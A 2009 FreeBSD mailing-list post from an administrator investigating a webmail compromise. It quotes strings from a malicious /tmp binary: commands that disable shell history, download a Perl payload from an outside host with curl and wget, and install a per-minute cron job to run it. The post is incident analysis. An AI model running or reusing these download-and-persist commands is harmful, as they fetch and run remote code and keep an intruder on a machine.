Skip site navigation (1)Skip section navigation (2)
Date:      Thu, 27 Aug 2009 02:52:02 -0700 (PDT)
From:      Colin Brace <cb@lim.nl>
To:        freebsd-questions@freebsd.org
Subject:   Re: what www perl script is running?
Message-ID:  <25167487.post@talk.nabble.com>
In-Reply-To: <25149559.post@talk.nabble.com>
References:  <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> <25143778.post@talk.nabble.com> <25149271.post@talk.nabble.com> <25149559.post@talk.nabble.com>

next in thread | previous in thread | raw e-mail | index | archive | help


Colin Brace wrote:
> 
> ahhhhh, another directory found in /tmp with files written by www called
> .bash/ Contents here:
> 
> http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz
> 
Apropos of the contents of the above, a correspondent writes: 

[...]
running 'strings' on /tmp/owned will show 
"HISTFILE=/dev/null
cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
echo '*/1 * * * * perl /tmp/tmpfile' >cron.job
crontab cron.job
rm -rf cron.job
chmod 0100 /tmp/tmpfile 2>&1 >/dev/null
perl /tmp/tmpfile 2>&1 >/dev/null"
[...]

So this would be the original mischief-maker.

Just out of curiousity, can someone explain to me in basic terms how an
intruder exploits a vulnerability such as apparently existed on my system
(the RoundCube webmail package was apparently the culprit) to place the
binary file "owned" in /tmp and execute it?

Thanks

-----
  Colin Brace
  Amsterdam
  http://lim.nl
-- 
View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html
Sent from the freebsd-questions mailing list archive at Nabble.com.




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?25167487.post>